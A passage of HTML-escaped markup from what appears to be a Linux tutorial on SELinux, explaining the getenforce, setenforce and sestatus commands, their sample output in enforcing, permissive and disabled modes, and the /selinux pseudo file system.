font-family: georgia;"&gt;[root@vbg ~]# getenforce&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Permissive&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;On a system with SELinux in Enforcing Mode, the following will be displayed:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# getenforce&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Enforcing&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;&lt;code&gt;&lt;span style="font-size: 10pt;"&gt;setenforce&lt;/span&gt;&lt;/code&gt; modifies the mode SELinux is running in. It is used to toggle between Permissive and Enforcing mode when SELinux is enabled.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To activate “Enforcing mode” on an SELinux-enabled system, run:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# setenforce 1&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;To check the current status, use &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;getenforce&lt;/span&gt;&lt;/code&gt;. To activate Permissive SELinux mode, execute:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# setenforce 0&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The &lt;code&gt;&lt;span style="font-size: 10pt;"&gt;sestatus&lt;/span&gt;&lt;/code&gt; command is used to get the status of a system running SELinux. Apart from mentioning the current mode of SELinux, it gives more information about the SELinux policy.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;On a system with SElinux disabled, it will display:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@station20 ~]# sestatus&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;SELinux status:                 disabled&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;On a System with SELinux in Permissive Mode, it will display:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# sestatus&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;SELinux status:                 enabled&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;SELinuxfs mount:              /selinux&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Current mode:                   permissive&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Mode from config file:         permissive&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Policy version:                   21&lt;/pre&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;Policy from config file:        targeted&lt;/pre&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The first line informs us that SELinux is enabled in this system.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;The second line is of great significance. It displays the mount point of the SELinux pseudo file system. This file system is quite like the proc and sys file systems, and contains run-time information about your SELinux mode and various other things.&lt;/div&gt;&lt;div style="color: #3366ff; font-family: georgia;"&gt;You can change run-time parameters of the SELinux system by directly writing to the files in this pseudo file system. As an example, just issue this command as the root user:&lt;/div&gt;&lt;pre style="color: #3366ff; font-family: georgia;"&gt;[root@vbg ~]# echo 1 &amp;gt; /selinux/enforce&lt;/pre&gt;&lt;div st
